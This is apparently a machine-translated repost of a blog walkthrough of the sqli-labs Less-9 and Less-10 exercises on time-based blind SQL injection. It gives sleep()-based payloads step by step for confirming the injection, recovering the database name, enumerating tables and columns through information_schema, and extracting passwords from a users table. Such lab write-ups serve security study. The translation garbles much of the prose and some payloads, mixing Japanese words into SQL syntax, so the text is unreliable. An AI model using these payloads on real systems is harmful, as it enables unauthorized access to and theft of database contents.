以下(9)〜以下(10)

以下(9)

入力は、あなたが常にエコーどんなに......、時間のブラインドを考慮

    

 

 

 

まず、射出タイプが決定されます

  (1)まず、パラメータIDを渡す要求を見て、デジタルタイプ;? ID = 1及びスリープ(5)の要件 - +

     

 

 

     大幅な遅延なし

  ?+ - (2)ID = 1,1 = 2とスリープ(5)を入力します

    

 

 

     有意な遅延は、組み合わせて(1)(2)ではなく、デジタル形式で、存在しません

  ?+ - (3)は、ID = 1「及び睡眠(5)を入力します

     

 

 

   パラメータID = '1';

2.その後、我々はデータベースを報告しなければなりません

  ?(1)バーストデータベースの長さ:ID = 1「及びIF(長(データベース())= X、SLEEP(5)、1。) - +

    Xは、データベースの長さを示すことは8であり、大幅な遅延と4から8に増加されます。

    

 

 

   (2)現在のデータベース名注:あなたは、<、>、=比較、文字の判断を使用して、二分法を狭くするために続けることができます

      連続比較して最初の文字= Sで描画することができます

    ?ID = 1' とする場合(左(データベース()、1)= 'S'、スリープ(5)、1) - +

 

     そして、次の文字を順次データベースの姓が得られ、バーストバースト= [セキュリティ]

  ?(3)爆表:ID = 1' とIF(TABLE_SCHEMA =データベース()リミットX、1 INFORMATION_SCHEMA.TABLESから左((セレクトテーブル名)、5)= 'ユーザ'、スリープ(5)、1) - - +

    リミットXの変更、1 Xで、我々は、ユーザーテーブルを検索します

      (4)は、ユーザ名とパスワードを見つけるように指示しました

     ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit x,1),8)='password' ,sleep(5),1)--+ 

     通过x的不断变化,最终在第4行找到了'password',在第9行找到了'username'

    

 

     

 

  (4)爆值

    ?id=1' and if(left((select password from users order by id limit x,1),4)='dumb' , sleep(5), 1) --+

    通过x的不断变化,找到一个用户名和密码都是‘dumb’

    

 

     

 

 Less(10)

和Less(9)差不多,就是参数书id="1"

 

おすすめ

転載: www.cnblogs.com/meng-yu37/p/12283615.html